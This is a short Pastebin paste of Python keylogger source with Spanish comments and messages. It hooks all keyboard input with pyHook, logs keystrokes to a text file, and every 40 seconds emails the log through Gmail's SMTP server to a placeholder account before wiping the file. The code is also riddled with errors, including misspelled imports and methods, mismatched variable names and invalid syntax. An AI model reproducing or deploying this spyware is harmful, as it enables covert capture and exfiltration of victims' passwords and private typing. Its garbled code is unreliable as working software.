Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #
- import pyHook
- import pythoncom
- import sys
- import logging
- import time
- import datatime
- Wait_seconds = 40
- timeout = time.time() + Wait_seconds
- file_log = 'documento.txt' is list else
- def TimeOut():
- if time.time()> timeout:
- return True
- else:
- return False
- def SendEmail(user, pwd, recipient, subject, body):
- import smtplib
- gmail_user = user
- gmail_pass = pwd
- FROM = user
- TO = recipient if type(recipient) [recipient]
- SUBJECT = subject
- TEXT = body
- Message = """\From: %s\nTo: %s\nSubject: %\n\n%s
- """ % (FROM, ", ".join(TO), SUBJECT, TEXT)
- try:
- server = smtplib.SMTP ("smtp.gmail.com", 587)
- server.ehlo()
- server.startls()
- server.login(gmail_user, gmail_pass)
- server.sendmail(FROM, TO, message)
- server.close()
- print ('Correo enviado satisfactoriamente')
- except:
- print ('Error al mandar correo')
- def FormatAndSendLogEmail():
- with open(file_log, 'r+')as f:
- actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
- data = f.read().replace('\n', '');
- data = 'log capturado a las: '+ actualdate + '\n' + data
- SendEmail ('elcorreo@gmail.com', 'laclave','elcorreo@gmail.com',
- 'Nuevo log – ' + actualdate,data)
- f.seek(0)
- f.truncate()
- def OnKeyboardEvent(evento):
- logging.basicConfig(filename=file_log, level=logging.DEBUG,format = '%(message)s')
- logging_log(10, chr(event.Ascii))
- return True
- hooks_manager = pyHook.HookManager()
- hooks_manager.KeyDown = OnKeyboardEvent
- hooks_manager.HookKeyboard()
- while True:
- if TimeOut():
- FormatAndSendLogEmail()
- Timeout=time.time() + Wait_seconds
- pythoncom.PumpWaitingMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement